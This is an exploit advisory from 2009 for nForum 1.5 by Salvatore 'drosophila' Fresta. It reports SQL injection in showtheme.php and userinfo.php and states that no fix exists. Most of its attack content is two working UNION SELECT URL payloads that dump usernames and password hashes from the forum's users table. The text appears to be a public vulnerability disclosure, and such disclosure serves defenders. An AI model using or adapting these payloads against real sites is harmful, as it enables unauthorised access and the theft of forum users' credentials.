nForum 1.5 Multiple SQL Injection

******* Salvatore "drosophila" Fresta *******

[+] Application: nForum
[+] Version: 1.5
[+] Website: http://sourceforge.net/projects/nforum/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 06 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: [email protected]

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[+] Menu

1) Bugs
2) Code
3) Fix

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[+] Bugs

• [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: showtheme.php, userinfo.php

These bugs allows a guest to view username and
the password of a registered user.

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[+] Code

• [A] Multiple SQL Injection

http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT
1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23

http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT
1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23

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[+] Fix

No fix.

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–
Salvatore "drosophila" Fresta
CWNP444351